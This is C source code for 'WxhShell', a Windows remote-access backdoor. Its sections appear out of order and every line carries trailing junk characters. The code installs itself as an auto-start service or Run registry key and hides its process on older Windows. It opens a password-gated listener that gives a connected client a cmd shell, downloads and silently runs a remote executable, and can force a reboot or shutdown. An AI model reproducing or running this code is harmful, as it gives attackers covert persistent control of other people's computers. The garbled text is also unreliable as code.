    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LFen!FnM  
    if(Boot(SHUTDOWN)) 8'^eH1d'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+l%}4RZ  
    else { oWs&W  
    closesocket(wsh);  vFl|  
    ExitThread(0); _32ltnBX  
    } !Z%QD\knY  
    break; @m6pAo4P  
    } CtjjN=59  
  // 获取shell o S_'@u.5  
  case 's': { uKpl+>  
    CmdShell(wsh); ]Y;$~qQ  
    closesocket(wsh); -6+HA9zz@C  
    ExitThread(0); pNVao{::5  
    break; G<Lm}  
  } xs.[]>nQN  
  // 退出 Bw{@YDO{  
  case 'x': { iW* 0V3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FuEHO6nx  
    CloseIt(wsh); cTRCQ+W6:  
    break; pC5-,Z;8  
    } IEC:zmkn  
  // 离开 eHqf3f   
  case 'q': { yQou8P=%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t9 &O0tpe  
    closesocket(wsh); JN|<R%hy  
    WSACleanup(); o<V-gS  
    exit(1); g](m& O  
    break; '\_ic=&u  
        } 2"BlV *\lS  
  } yv$MQ~]  
  } KxJJ?WyM  
$?*+P``  
  // 提示信息 jLb3{}0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >z[d ~  
} 2GZUMXK  
  } HL88  
?W.Y x7c  
  return; xl# j_d,  
} K VQZ  
I,  
// shell模块句柄 !Y\hF|[z  
int CmdShell(SOCKET sock) HnOF_Twq  
{ /Zm@.%.  
STARTUPINFO si; <a$cB+t  
ZeroMemory(&si,sizeof(si)); YRC`2)_'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HF47Lc*c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3P #1fI(c  
PROCESS_INFORMATION ProcessInfo; z,2m7C  
char cmdline[]="cmd"; Dt r'X@U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5O*+5n  
  return 0; i>!f|<  
} R^PQ`$W 'R  
*}mtVa_|  
// 自身启动模式 _10#rucr  
int StartFromService(void) J4S2vBe16  
{ ?.4.Ubc\  
typedef struct 7[u&%  
{ -P.) 0d(  
  DWORD ExitStatus; sjaG%f&h  
  DWORD PebBaseAddress; 5R o5Cg~  
  DWORD AffinityMask; yM\ 1n  
  DWORD BasePriority; \OY2|  
  ULONG UniqueProcessId; F." L{g  
  ULONG InheritedFromUniqueProcessId; $&a`zffG  
}   PROCESS_BASIC_INFORMATION; SKcAZC  
q=[0`--cd  
PROCNTQSIP NtQueryInformationProcess; #p_ ~L4iW  
iqOd]H]v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rH-_L&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kkd<CEz2IM  
xX|-5cM;  
  HANDLE             hProcess; Jwa2Y0  
  PROCESS_BASIC_INFORMATION pbi; g$]9xn#_[  
pl7!O9bo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?np` RA  
  if(NULL == hInst ) return 0; cFH,fj  
JH?[hb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X7n~Ws&s@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B*?v`6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ueqR@i  
y<#y3M!\  
  if (!NtQueryInformationProcess) return 0; -><?q t  
{8JJ$_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1miTE4;?  
  if(!hProcess) return 0; _N*4 3O`  
(# ?~^ut  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sS+9ly{9J  
]INbRytvc  
  CloseHandle(hProcess); )IhI~,0Nmj  
Y@L`XNl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HPt"  
if(hProcess==NULL) return 0; T> 1E  
Yoaz|7LS  
HMODULE hMod; "}ZD-O`!  
char procName[255]; 85H8`YwPh  
unsigned long cbNeeded; $/pd[H[{  
lYJ]W[!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y> 7/>x6  
LrK6*y,z  
  CloseHandle(hProcess); P/ug'  
^WUF3Q**OU  
if(strstr(procName,"services")) return 1; // 以服务启动 |'a5n h!  
-M(:z  
  return 0; // 注册表启动 &d6'$h:kHb  
} vU~#6sl  
}l_) d  
// 主模块 i [FBll-  
int StartWxhshell(LPSTR lpCmdLine) \y<n{"a  
{ G>H&M#7K  
  SOCKET wsl; .@xwl}o$OL  
BOOL val=TRUE; B)Gm"bLCOZ  
  int port=0; XmXHs4  
  struct sockaddr_in door; y]@_DL#J=  
$TR[SMj  
  if(wscfg.ws_autoins) Install(); tq1h1  
0p~:fm  
port=atoi(lpCmdLine); *t*yozN  
Eb#0 -I  
if(port<=0) port=wscfg.ws_port; *S<>_R 8  
c%v%U &  
  WSADATA data; U?@UIhtM|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qwVpGNc45  
;O.U-s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )vo PH)!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O5e9vQH  
  door.sin_family = AF_INET; Gn&)*qCO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0Q`:'\.>  
  door.sin_port = htons(port); UT>\u  
 \ 1|T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &@{ Ba~S  
closesocket(wsl); =f{r+'[;^  
return 1; ~KrzJp=5F  
} 6rPe\'n=B  
]D<r5P%  
  if(listen(wsl,2) == INVALID_SOCKET) { x{IOn;>R  
closesocket(wsl); /G</ [N5  
return 1; whRc YnJ  
} X $cW!a  
  Wxhshell(wsl); U3p=H^MB.  
  WSACleanup(); "iOT14J!7  
6g7 X1C  
return 0; 9 ?h)U|J?G  
=Y /  
} Cee?%NaTS  
nCYicB  
// 以NT服务方式启动 ^ zo"~1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $|sRj!F  
{ #  ,GpZ  
DWORD   status = 0; q.rnZU  
  DWORD   specificError = 0xfffffff; &Du!*V4A  
V,&s$eQC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nh,N (t 9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QT?fp >'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZJI|762,  
  serviceStatus.dwWin32ExitCode     = 0; V. :imj  
  serviceStatus.dwServiceSpecificExitCode = 0; |'1[\<MM3  
  serviceStatus.dwCheckPoint       = 0; whxE[Xnv  
  serviceStatus.dwWaitHint       = 0; :? yv0Iu  
u:"mq.Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8 =J6{{E  
  if (hServiceStatusHandle==0) return; b9`MUkGGd  
/Nb&e  
status = GetLastError(); Ql#:Rx>b  
  if (status!=NO_ERROR) <Gs)~T#'  
{ #;2Ju'e#z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F) < f8F  
    serviceStatus.dwCheckPoint       = 0; = V%s^  
    serviceStatus.dwWaitHint       = 0; .:$%3#N$(Y  
    serviceStatus.dwWin32ExitCode     = status; u[ "Pg  
    serviceStatus.dwServiceSpecificExitCode = specificError; O@?? NF6G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l[rIjyL@  
    return; P ,5P6Y9  
  } S'2B  
D4;V8(w=#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; glPOW  
  serviceStatus.dwCheckPoint       = 0; ym<G.3%1  
  serviceStatus.dwWaitHint       = 0; E^Q|v45d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bd)Qz(>rw  
} ?%B%[u  
ZZ?=^g  
// 处理NT服务事件,比如:启动、停止 e9"<.:&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d-39G*;1  
{ \jZvP`.2  
switch(fdwControl) ^!N_Nx/M  
{ 6z!?U:bT  
case SERVICE_CONTROL_STOP: Zwp*JH+G  
  serviceStatus.dwWin32ExitCode = 0; LlX 7g _!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vM|?;QM  
  serviceStatus.dwCheckPoint   = 0; n%W~+  
  serviceStatus.dwWaitHint     = 0; EKq9m=Ua@o  
  { >wz-p nD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !:a pu!  
  } @dD70T  
  return; UPUO8W)<Z6  
case SERVICE_CONTROL_PAUSE: ="<+^$7:k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4vGkgH<,  
  break; WE68a!6  
case SERVICE_CONTROL_CONTINUE: 9`QWqu[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V5%B ,.d:  
  break; cm]8m_!  
case SERVICE_CONTROL_INTERROGATE: t&H):P  
  break; -=5z&) X  
}; D_(xhM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j`ggg]"&$  
} ^|-xmUC  
,W7\AY07]  
// 标准应用程序主函数 X^r HugQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r9z/hm}E  
{ ;40!2P8t  
@kRe0:t  
// 获取操作系统版本 jQC6N#L  
OsIsNt=GetOsVer(); FC/m,D50oI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rh?!f(_@  
|j<b?  
  // 从命令行安装 kbBX\*{yh  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7bCTR2e\@w  
fQ 'P2$  
  // 下载执行文件 (X QgOR#  
if(wscfg.ws_downexe) { TZ?va@2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c_ vj't  
  WinExec(wscfg.ws_filenam,SW_HIDE); N:\I]M  
} ;v*$6DIC5  
K zKHC  
if(!OsIsNt) { x]XhWScr '  
// 如果时win9x,隐藏进程并且设置为注册表启动 v-2.OS<o  
HideProc(); )9{?C4NQ  
StartWxhshell(lpCmdLine); K/ I3r_  
} p!|ok #sW  
else (,[m}Qb?!  
  if(StartFromService()) %AXa(C\1  
  // 以服务方式启动 $ZH$x3;  
  StartServiceCtrlDispatcher(DispatchTable); JrQ*.lJj  
else G*3O5m  
  // 普通方式启动 ?)'j;1_=E3  
  StartWxhshell(lpCmdLine); #ZeZs31  
DNq=|?qn]  
return 0; 6rF[eb  
} WojZ[j>  
o[!]xmj  
+_3> T''_  
6 80i?=z  
=========================================== `6?r.;wj  
>-c;  
'9H7I! L@  
\[% [`m  
/}]X3ng  
Qj VP]C}p  
" @;"HslU\Q  
O}*[@uv/  
#include <stdio.h> xT#j-T  
#include <string.h> %j^[%&pT  
#include <windows.h> =Bu d!  
#include <winsock2.h> .3Jggp  
#include <winsvc.h> #x" 4tI  
#include <urlmon.h> r> eOq[z  
(S&X??jfB5  
#pragma comment (lib, "Ws2_32.lib") kQRNVdiz  
#pragma comment (lib, "urlmon.lib") ]}<wS ]1  
?tQUZO  
#define MAX_USER   100 // 最大客户端连接数 "AS;\-Jk  
#define BUF_SOCK   200 // sock buffer GX4# IRq  
#define KEY_BUFF   255 // 输入 buffer S/"-x{Gc2v  
,3qi]fFLMe  
#define REBOOT     0   // 重启 7ZI!$J|  
#define SHUTDOWN   1   // 关机 .zAB)rNc |  
w(]Q `  
#define DEF_PORT   5000 // 监听端口 1X.5cl?V  
&D\~-fOGb  
#define REG_LEN     16   // 注册表键长度 `[0.G0i  
#define SVC_LEN     80   // NT服务名长度 =.#*MYB.l  
4xjk^N9  
// 从dll定义API vHCz_ FV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ps4spy0Fp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J'sVT{@GS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A84I*d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]HgAI$aA,  
!rlN|HB  
// wxhshell配置信息 vClD)Ar  
struct WSCFG { l Ztq_* Fl  
  int ws_port;         // 监听端口 (@vu/yN  
  char ws_passstr[REG_LEN]; // 口令 n"Ot'1yr  
  int ws_autoins;       // 安装标记, 1=yes 0=no '3 xvQFg  
  char ws_regname[REG_LEN]; // 注册表键名 ]6v6&YV  
  char ws_svcname[REG_LEN]; // 服务名 N5Eb.a9S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9?:SxI;v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =P!SN]nFeP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wv|:-8V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l 'fUa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S^]i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H5j~<@STC  
Vf`n>  
}; m,K0BL  
BI?M/pIm  
// default Wxhshell configuration g<-x"$(C&  
struct WSCFG wscfg={DEF_PORT, X<9jBj/t  
    "xuhuanlingzhe", 'QFf 7A  
    1, ,9^wKS!7$  
    "Wxhshell", P PZxH}J.  
    "Wxhshell", n{J<7I e"*  
            "WxhShell Service", o}mD1q0yE  
    "Wrsky Windows CmdShell Service", "<SK=W  
    "Please Input Your Password: ", H1N_  
  1, 4nzUDeI3MG  
  "http://www.wrsky.com/wxhshell.exe", s(q\!\FS  
  "Wxhshell.exe" V/j+Z1ZW  
    }; 7z9gsi  
R;,+0r^i  
// 消息定义模块 }rz}>((ZHF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yHT8I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @]" :3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; US 9cuah1/  
char *msg_ws_ext="\n\rExit."; [~,~ e   
char *msg_ws_end="\n\rQuit."; y&")7y/uE  
char *msg_ws_boot="\n\rReboot..."; J 6U3}SO=y  
char *msg_ws_poff="\n\rShutdown..."; rLGh>bw#`3  
char *msg_ws_down="\n\rSave to "; ev7Y^   
|_{-hNiz0  
char *msg_ws_err="\n\rErr!"; y,v*jE  
char *msg_ws_ok="\n\rOK!"; a02@CsH  
<?5 ,3`V  
char ExeFile[MAX_PATH]; bm*Ell\a.  
int nUser = 0; C s?kZ %  
HANDLE handles[MAX_USER]; JeU|e$I4>  
int OsIsNt; dWwh?{n  
^CX=<  
SERVICE_STATUS       serviceStatus; W2J"W=:z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  }bz v&k  
':lADUt  
// 函数声明 rIR~YMv!  
int Install(void); N%'=el4L  
int Uninstall(void); *aT3L#0(  
int DownloadFile(char *sURL, SOCKET wsh); ?u{y[pI6  
int Boot(int flag);  ~,Ck  
void HideProc(void); Ho9 a#9  
int GetOsVer(void); X!V@jo9?  
int Wxhshell(SOCKET wsl); SxcNr5F   
void TalkWithClient(void *cs); n,SDJsS^  
int CmdShell(SOCKET sock); JL45!+  
int StartFromService(void); (dvCejc^p  
int StartWxhshell(LPSTR lpCmdLine); "l6v[yv  
xG@zy4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [vV]lWOp'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f mILkXKz  
jXB<"bw  
// 数据结构和表定义 H@GiHej  
SERVICE_TABLE_ENTRY DispatchTable[] = {SVd='!V  
{ `6koQZm  
{wscfg.ws_svcname, NTServiceMain}, D6@c&  
{NULL, NULL} rTT Uhd  
}; %b<cJ]F  
?NoG.  
// 自我安装 V\r!H>  
int Install(void) E+k#1c|v$  
{ i9+(gX(t  
  char svExeFile[MAX_PATH]; #G%[4.$n.  
  HKEY key; 9ar+Ph@*  
  strcpy(svExeFile,ExeFile); TC;2K,.#k  
,rx?Ig}k z  
// 如果是win9x系统,修改注册表设为自启动 gTcLS|& H  
if(!OsIsNt) { 9E~=/Q=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #u`i4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (9$z+Zmm?  
  RegCloseKey(key); MX2 Zm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { //S/pCqED  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Bu> }$BD  
  RegCloseKey(key); BWV)> -V  
  return 0; YYwFjA@  
    } Ugzq;}V#  
  } -\xNuU  
} :1NF#-2\f  
else { Y4 q;  
~'k.'O{  
// 如果是NT以上系统,安装为系统服务 >J,Rx!fq3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ")LcB' C  
if (schSCManager!=0) + pTc2z  
{ w}nc^6qH  
  SC_HANDLE schService = CreateService M|nTO  
  ( Ze_4MwC W  
  schSCManager, N# $ob 9  
  wscfg.ws_svcname, &g%9$*gmT  
  wscfg.ws_svcdisp, ;DbEP.%u$  
  SERVICE_ALL_ACCESS, H=O/w3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Z99x#  
  SERVICE_AUTO_START, da<B6!  
  SERVICE_ERROR_NORMAL, @."_XL74  
  svExeFile, =0!PnBGYn  
  NULL, {2QCdj46  
  NULL, mDZ/Kp{  
  NULL, o|FjNL  
  NULL, H y}oSy26  
  NULL 30 e>C  
  ); AlF"1X02  
  if (schService!=0) Q |,(C0<G  
  { =wbgZr^2  
  CloseServiceHandle(schService); \2F{r<A\@  
  CloseServiceHandle(schSCManager); NbnahhS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "X<vgM^:  
  strcat(svExeFile,wscfg.ws_svcname); 6z (7l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ud@D%?A7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ehe hTP  
  RegCloseKey(key); ~5S[Sl  
  return 0; &[QvMh  
    } 3fA.DK[4[  
  } `F-<P%k  
  CloseServiceHandle(schSCManager); =UY)U-  
} cCOw7<  
} g:&YSjO>G  
/,#HGu]q'  
return 1; H&0dc.n~.  
} KWwEK]   
2:b3+{\f  
// 自我卸载 {yFCGCs  
int Uninstall(void) %@Mv-A6)  
{ 3Wv -olv  
  HKEY key; hc#Lni R3$  
mk*r^k`a  
if(!OsIsNt) { <!@*2/Q]J]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I_ O8 9Sgn  
  RegDeleteValue(key,wscfg.ws_regname); ^\o3V<  
  RegCloseKey(key); cP8g. +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,6N|?<26O  
  RegDeleteValue(key,wscfg.ws_regname); }.`no  
  RegCloseKey(key); s}3g+T\l1w  
  return 0; DAYR=s  
  } Ss>ez8q  
} vlW521  
} CYkU-  
else { B8J_^kd  
7T7 A\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l=+hs  
if (schSCManager!=0) aYy+iP'$  
{ ~1xfE C/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ( x)}k&B;  
  if (schService!=0) <V?csx/eRd  
  { @-B)a Z  
  if(DeleteService(schService)!=0) {  al#BfcZW  
  CloseServiceHandle(schService); sn>2dRW{  
  CloseServiceHandle(schSCManager); R9 +0ZoS  
  return 0; K+WbxovXU  
  } w8(8n&5  
  CloseServiceHandle(schService); jg)+]r/hS  
  } 3:H[S_q  
  CloseServiceHandle(schSCManager); S=f:-?N|  
} r1pj-   
} {S l#z }@s  
,Q%q!#@  
return 1; z?Hi u6c-  
} $G UCVxs  
+)J;4B  
// 从指定url下载文件 19#s:nt9  
int DownloadFile(char *sURL, SOCKET wsh) 1:Sq?=&  
{ nr*nX  
  HRESULT hr; yzH(\ x  
char seps[]= "/"; EU5^"\  
char *token; 4fR}+[~2  
char *file; d2~*fHx_!  
char myURL[MAX_PATH]; =qWcw7!"  
char myFILE[MAX_PATH]; A-6><X's6  
GMv.G  
strcpy(myURL,sURL); ?b,4mDptE  
  token=strtok(myURL,seps); ^pc?oDPSg  
  while(token!=NULL) frh!dN  
  { i #pBzJ  
    file=token; qpt},yn)C  
  token=strtok(NULL,seps); T<a/GE/  
  } fpPB_P{Ua  
 U))2?#  
GetCurrentDirectory(MAX_PATH,myFILE); #B$r|rqamq  
strcat(myFILE, "\\"); s!g06F  
strcat(myFILE, file); 59R%g .2Y  
  send(wsh,myFILE,strlen(myFILE),0); >Tf <8r,  
send(wsh,"...",3,0); Hoj'zY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yhPO$L  
  if(hr==S_OK) xGkc_  
return 0; 6d;_}  
else L>3-z>u,  
return 1; #qnK nxD  
O-3R#sZ0  
} w/49O;rV  
m=K46i+NE  
// 系统电源模块 vB?(|  
int Boot(int flag) v?@=WG  
{ Zws[C  
  HANDLE hToken; S Bo i|  
  TOKEN_PRIVILEGES tkp; 0F5QAR O  
,5XDH6L1  
  if(OsIsNt) { H~1o^ gU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Hj1jM'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oF(=@UL  
    tkp.PrivilegeCount = 1; j6&q6C X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #TG7WF 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6Zx'$F.iqK  
if(flag==REBOOT) { :OKU@l|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7`P1=`..  
  return 0; s +Q'\?  
} LLV1W0VO=P  
else { $/)0iL{0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <)]j;Tl  
  return 0; =XhxD<kI  
} S=zW wo$  
  } qmF+@R&^i  
  else { m=#<   
if(flag==REBOOT) { X[E!q$ag  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gyT3[*eh  
  return 0; Fo;.  
} ']^_W0?=  
else { *7`amF-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C'&t@@:  
  return 0; 1\LK[tvh  
} Y- tK  
} Y![//tg  
@"vTz8oY@  
return 1; +9NI=s6  
} o%3VE8-  
A5 <T7~U  
// win9x进程隐藏模块 {^N90,!  
void HideProc(void) 7 : .bqRu  
{ ZK?:w^Z  
'Im&&uSkr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mKZ^FgG  
  if ( hKernel != NULL ) 3F\UEpQ  
  { qYbPF|Y=Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^!x}e+ o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EWp'zbWP  
    FreeLibrary(hKernel); ;_D5]kl`  
  } *OR(8;  
0$I!\y\  
return; 39Zs  
} F94Qb}  
nTH!_S>b(Y  
// 获取操作系统版本 0qk.NPMB0  
int GetOsVer(void) 1+NmiGKg  
{ a^MR"i>@G  
  OSVERSIONINFO winfo; O/{W:hJjd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G{{Or  
  GetVersionEx(&winfo); d A' h7D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L}.V`v{zc  
  return 1; :taRCh5  
  else [.*o< KP  
  return 0; P(XNtQ=K  
} fH[:S9@  
!|;w(/  
// 客户端句柄模块 M$AQZ')9  
int Wxhshell(SOCKET wsl) ko<VB#pOMr  
{ d){Al(/  
  SOCKET wsh; '$5o5\  
  struct sockaddr_in client; GcA!I!j/  
  DWORD myID; a&~]77)  
)`gE-udR  
  while(nUser<MAX_USER) $C?G7Vs  
{ Q =cbHDB  
  int nSize=sizeof(client); WA79(B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G)wIxm$?0  
  if(wsh==INVALID_SOCKET) return 1; _=oNQ  
gKay3}w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zV=(e( [  
if(handles[nUser]==0) h | +(  
  closesocket(wsh); K#],4OG  
else *3We5  
  nUser++; wfc[B;K\  
  } oO)KhA?y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k%v/&ojI  
D $[/|%3  
  return 0; kzcD}?mSS  
} M"$TXXe  
;r XhK$  
// 关闭 socket %D:5 S?{  
void CloseIt(SOCKET wsh) 4uUR2J  
{ )B' U_*  
closesocket(wsh); # pz{,  
nUser--; bU i@4S  
ExitThread(0); 3kBpH7h4  
} k&>l#oH  
7OOod1  
// 客户端请求句柄 ]0wmvTR  
void TalkWithClient(void *cs) 3tTz$$-#  
{ QU{\ClW/?  
Pf]O'G&F  
  SOCKET wsh=(SOCKET)cs; I NE,/a=  
  char pwd[SVC_LEN]; ~IE5j,SC  
  char cmd[KEY_BUFF]; TAu*lL(F  
char chr[1]; 'd@Vusq}2  
int i,j; umWZ]8  
W<uL{k.Kpd  
  while (nUser < MAX_USER) { @tLoU%  
4)3!n*I  
if(wscfg.ws_passstr) { y[!4M+jj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4';]fmf@[i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >MIp r  
  //ZeroMemory(pwd,KEY_BUFF); ~-w  
      i=0; <#9zc'ED:  
  while(i<SVC_LEN) { /@bLc1"  
~Zd n#z\  
  // 设置超时 |V|)cPQ  
  fd_set FdRead; tK|hC[  
  struct timeval TimeOut; cMEM}Qh T  
  FD_ZERO(&FdRead); vAE?^*F  
  FD_SET(wsh,&FdRead); (u >:G6K  
  TimeOut.tv_sec=8; = *A_{u;E  
  TimeOut.tv_usec=0; rHtT>UE=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C9}2F{8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PHa#;6!5  
r}~l(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dkQA[/k  
  pwd=chr[0]; nA]dQ+5sT  
  if(chr[0]==0xd || chr[0]==0xa) { C"IP1N  
  pwd=0; :;XHA8  
  break; ;v6e2NacM'  
  } Eu )7@  
  i++; XjwTjgL<  
    } `<>8tZS9"  
A{E0 a:v  
  // 如果是非法用户,关闭 socket Y4Z?`TL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t747SZWgB  
} vN7ihe[C  
{fMrx1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ej{B0rE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sg<''pUh  
[<sBnHbvQ.  
while(1) { ++13m*fA  
#U&G$E`7  
  ZeroMemory(cmd,KEY_BUFF); t@/r1u|iq  
5Wi5`8m  
      // 自动支持客户端 telnet标准   ]~(Ipz2NP  
  j=0; ZH%[wQ~4  
  while(j<KEY_BUFF) { =fHt|}.K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cuR|cUK  
  cmd[j]=chr[0]; Z<r&- !z  
  if(chr[0]==0xa || chr[0]==0xd) { |"P5%k#6^>  
  cmd[j]=0; P N_QK Z  
  break; Y#6@0Nn[G  
  } ^D B0C  
  j++; ;<q@>p[  
    } /:e|B;P`k  
.#h ]_%  
  // 下载文件 3MjMN%{P  
  if(strstr(cmd,"http://")) { ;:9 x.IkxC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); va;d[D,  
  if(DownloadFile(cmd,wsh)) d<6L&8)<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _uHyE }d  
  else kQIWDN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fINM$ 6  
  } 7B% @f9g  
  else { ;lAz@jr+  
U)p2PTfB  
    switch(cmd[0]) { B>Nxc@=D  
  `s:| 4;.  
  // 帮助 .(S,dG0P  
  case '?': { /p>"|z  
